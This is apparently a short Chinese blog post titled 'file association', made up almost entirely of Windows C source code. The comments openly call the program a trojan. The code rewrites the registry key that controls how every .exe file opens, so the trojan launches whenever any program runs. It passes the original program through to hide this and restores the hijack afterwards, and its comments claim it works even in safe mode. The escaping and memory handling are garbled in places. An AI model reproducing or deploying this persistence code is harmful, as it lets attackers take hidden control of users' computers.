文件关联

    技术2022-05-11  23

    #include <stdio.h> #include <windows.h> int main(int argc,char *argv[]) { MessageBox(NULL,"Hello",NULL,MB_OK); char temp[256]; memset(temp,0,256); if(argc!=1){ int length =strlen(argv[1]); char *ch=(char *)malloc(length); strcpy(ch,argv[1]); for(int i=0;i<length;i++,ch++) { if(*ch=='//') strncat(temp," ",2); else strncat(temp,ch,1); } }//上面的函数是把字符串中所有的"/"变为"//" char str[]="/"%1/" %*";  RegSetValue(HKEY_CLASSES_ROOT,"exefile//shell//open//command",REG_SZ,(LPCTSTR)str,strlen(str)+1); // 在执行原有程序之前必须把注册表恢复,否则用ShellExecute还是执行我们的木马程序。 ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//执行原有的程序 //在程序执行完成后,再把注册表改为我们要启动的木马程序的 TCHAR filename[256]; // 得到程序全路径名 GetModuleFileName( NULL, filename, 255 ); strcat(filename," /"%1/" %*"); RegSetValue(HKEY_CLASSES_ROOT,"exefile//shell//open//command",REG_SZ,(LPCTSTR)filename , strlen(filename) + 1); //经过上述过程只要程序一运行就会执行我们的start 程序了。即使是在安全模式下只要执行可执行程序就会运行我们的程序了。   return 0; }

    最新回复(0)